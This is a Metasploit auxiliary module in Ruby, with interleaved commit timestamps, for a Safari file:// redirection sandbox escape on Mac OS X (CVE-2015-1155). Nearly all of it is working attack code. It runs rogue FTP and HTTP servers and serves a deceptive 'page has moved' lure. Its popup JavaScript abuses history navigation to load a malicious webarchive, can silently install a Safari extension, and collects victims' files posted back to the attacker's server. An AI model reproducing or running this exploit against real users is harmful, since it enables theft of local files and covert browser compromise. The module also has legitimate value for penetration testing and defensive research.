2015-06-23 21:15:50 +00:00
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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###
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require 'msf/core'
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2015-07-28 11:11:17 +00:00
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require 'msf/core/exploit/format/webarchive'
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2015-06-23 21:15:50 +00:00
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::FtpServer
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2015-07-28 11:11:17 +00:00
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include Msf::Exploit::Format::Webarchive
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2015-06-23 21:15:50 +00:00
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include Msf::Auxiliary::Report
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Mac OS X Safari file:// Redirection Sandbox Escape',
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'Description' => %q{
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2015-06-24 07:08:06 +00:00
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Versions of Safari before 8.0.6, 7.1.6, and 6.2.6 are vulnerable to a
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"state management issue" that allows a browser window to be navigated
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to a file:// URL. By dropping and loading a malicious .webarchive file,
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an attacker can read arbitrary files, inject cross-domain Javascript, and
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silently install Safari extensions.
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2015-06-23 21:15:50 +00:00
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'joev' # discovery, module
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],
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'References' => [
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2015-07-23 22:11:19 +00:00
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['ZDI', '15-228'],
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2015-06-24 07:08:06 +00:00
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['CVE', '2015-1155'],
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['URL', 'https://support.apple.com/en-us/HT204826']
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2015-06-23 21:15:50 +00:00
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],
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'Platform' => 'osx',
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'Targets' =>
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[
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[ 'Mac OS X', {} ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 16 2014'
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))
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2015-06-24 07:08:06 +00:00
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register_options([
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OptString.new("URIPATH", [false, 'The URI to use for this exploit (default is random)']),
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OptPort.new('SRVPORT', [true, "The local port to use for the FTP server", 8081]),
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OptPort.new('HTTPPORT', [true, "The HTTP server port", 8080])
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], self.class)
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2015-06-23 21:15:50 +00:00
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end
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def lookup_lhost(c=nil)
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# Get the source address
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if datastore['SRVHOST'] == '0.0.0.0'
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Rex::Socket.source_address( c || '50.50.50.50')
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else
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datastore['SRVHOST']
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end
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end
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def on_request_uri(cli, req)
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if req.method =~ /post/i
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data_str = req.body.to_s
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2015-06-23 21:15:50 +00:00
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begin
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data = JSON::parse(data_str || '')
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file = record_data(data, cli)
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2015-07-05 21:46:18 +00:00
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send_response(cli, '')
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2015-06-23 21:15:50 +00:00
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print_good "data #{data.keys.join(',')} received and stored to #{file}"
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rescue JSON::ParserError => e # json error, dismiss request & keep crit. server up
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2015-06-24 07:08:06 +00:00
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file = record_data(data_str, cli)
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print_error "Invalid JSON stored in #{file}"
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2015-07-05 21:46:18 +00:00
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send_response(cli, '')
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2015-06-23 21:15:50 +00:00
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end
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elsif req.uri =~ /#{popup_path}$/
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send_response(cli, 200, 'OK', popup_html)
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else
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send_response(cli, 200, 'OK', exploit_html)
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end
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end
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def ftp_user
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@ftp_user ||= Rex::Text.rand_text_alpha(6)
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end
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def ftp_pass
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@ftp_pass ||= Rex::Text.rand_text_alpha(6)
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end
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def exploit_html
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%Q|
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<html><body>
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<script>
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window.onclick = function() {
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window.open(window.location+'/#{popup_path}', 'x', 'width=1,height=1');
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}
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</script>
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The page has moved. <a href='#'>Click here</a> to be redirected.
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</body></html>
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end
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def ftp_url
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"ftp://#{ftp_user}:#{ftp_pass}@#{lookup_lhost}:#{datastore['SRVPORT']}"
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end
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def popup_html
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%Q|
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<script>
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function perform() {
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if (arguments.length > 0) {
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var nextArgs = Array.prototype.slice.call(arguments, 1);
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arguments[0]();
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setTimeout(function() {
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perform.apply(null, nextArgs);
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}, 300);
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}
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}
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perform(
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function() { opener.location = 'http://localhost:99999'; },
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function() { history.pushState.call(opener.history, {}, {}, 'file:///'); },
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function() { opener.location = 'about:blank' },
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function() { opener.history.back(); },
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function() { window.location = '#{ftp_url}'; },
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function() { opener.location = 'http://localhost:99998'; },
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function() {
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history.pushState.call(
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opener.history, {}, {},
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'file:///Volumes/#{lookup_lhost}/#{payload_name}'
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);
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},
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function() { opener.location = 'about:blank'; },
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function() { opener.history.back(); },
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2015-07-05 21:46:18 +00:00
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function() { if (#{datastore['INSTALL_EXTENSION']}) { opener.postMessage('EXT', '*'); window.location = '#{apple_extension_url}'; } else { window.close(); } }
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2015-06-23 21:15:50 +00:00
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)
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</script>
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end
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#
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# Handle FTP LIST request (send back the directory listing)
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#
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def on_client_command_list(c, arg)
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conn = establish_data_connection(c)
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if not conn
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c.put("425 Can't build data connection\r\n")
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return
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end
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print_status("Data connection setup")
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c.put("150 Here comes the directory listing\r\n")
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print_status("Sending directory list via data connection #{webarchive_size}")
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month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec']
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m = month_names[Time.now.month-1]
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d = Time.now.day
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y = Time.now.year
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dir = "-rwxr-xr-x 1 ftp ftp #{webarchive_size} #{m} #{d} #{y} #{payload_name}\r\n"
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print_status dir
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conn.put(dir)
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conn.close
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print_status("Directory sent ok")
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c.put("226 Transfer ok\r\n")
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return
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end
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#
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# Handle the FTP RETR request. This is where we transfer our actual malicious payload
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#
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def on_client_command_retr(c, arg)
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conn = establish_data_connection(c)
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if not conn
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return c.put("425 can't build data connection\r\n")
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end
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print_status("Connection for file transfer accepted")
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c.put("150 Connection accepted\r\n")
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# Send out payload
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conn.put(webarchive)
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conn.close
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end
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def volume_name
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@volume_name ||= Rex::Text.rand_text_alpha(12)
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end
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def payload_name
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'msf.webarchive'
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end
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def popup_path
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@popup_uri ||= Rex::Text.rand_text_alpha(12)
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end
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def webarchive
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webarchive_xml
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end
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def webarchive_size
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print_status "Webarchive_SiZE=#{webarchive_xml.length}"
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webarchive_xml.length
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end
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def run
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# Start the FTP server
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print_status("Running FTP service...")
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start_service
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# Create our own HTTP server
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# We will stay in this functino until we manually terminate execution
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start_http
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end
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#
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# Handle the HTTP request and return a response. Code borrorwed from:
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# msf/core/exploit/http/server.rb
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#
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def start_http(opts={})
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# Ensture all dependencies are present before initializing HTTP
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use_zlib
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comm = datastore['ListenerComm']
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if (comm.to_s == "local")
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comm = ::Rex::Socket::Comm::Local
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else
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comm = nil
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end
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# Default the server host / port
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opts = {
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'ServerHost' => datastore['SRVHOST'],
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'ServerPort' => datastore['HTTPPORT'],
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'Comm' => comm
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}.update(opts)
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# Start a new HTTP server
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@http_service = Rex::ServiceManager.start(
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Rex::Proto::Http::Server,
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opts['ServerPort'].to_i,
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opts['ServerHost'],
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datastore['SSL'],
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{
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'Msf' => framework,
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'MsfExploit' => self,
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},
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opts['Comm'],
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datastore['SSLCert']
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)
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@http_service.server_name = datastore['HTTP::server_name']
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# Default the procedure of the URI to on_request_uri if one isn't
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# provided.
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uopts = {
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'Proc' => Proc.new { |cli, req|
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on_request_uri(cli, req)
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},
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'Path' => resource_uri
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}.update(opts['Uri'] || {})
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proto = (datastore["SSL"] ? "https" : "http")
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print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
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if (opts['ServerHost'] == '0.0.0.0')
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print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
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end
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# Add path to resource
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@service_path = uopts['Path']
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@http_service.add_resource(uopts['Path'], uopts)
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# As long as we have the http_service object, we will keep the ftp server alive
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while @http_service
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select(nil, nil, nil, 1)
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end
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end
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#
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# Ensures that gzip can be used. If not, an exception is generated. The
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# exception is only raised if the DisableGzip advanced option has not been
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# set.
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#
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def use_zlib
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if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
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fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!")
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end
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end
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#
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# Returns the configured (or random, if not configured) URI path
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#
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def resource_uri
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path = datastore['URIPATH'] || Rex::Text.rand_text_alphanumeric(8+rand(8))
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path = '/' + path if path !~ /^\//
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datastore['URIPATH'] = path
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return path
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end
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#
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# Create an HTTP response and then send it
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#
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def send_response(cli, code, message='OK', html='')
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proto = Rex::Proto::Http::DefaultProtocol
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res = Rex::Proto::Http::Response.new(code, message, proto)
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res['Content-Type'] = 'text/html'
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res.body = html
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cli.send_response(res)
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end
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# @param [Hash] data the data to store in the log
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# @return [String] filename where we are storing the data
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def record_data(data, cli)
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2015-07-05 21:46:18 +00:00
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name = if data.is_a?(Hash) then data.keys.first else 'data' end
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file = File.basename(name).gsub(/[^A-Za-z]/,'')
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2015-06-23 21:15:50 +00:00
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store_loot(
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file, "text/plain", cli.peerhost, data, "safari_webarchive", "Webarchive Collected Data"
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)
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end
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#
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# Kill HTTP/FTP (shut them down and clear resources)
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#
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def cleanup
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super
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# Kill FTP
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stop_service
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# clear my resource, deregister ref, stop/close the HTTP socket
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begin
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@http_service.remove_resource(datastore['URIPATH'])
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@http_service.deref
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@http_service.stop
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@http_service.close
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@http_service = nil
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rescue
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end
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end
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end
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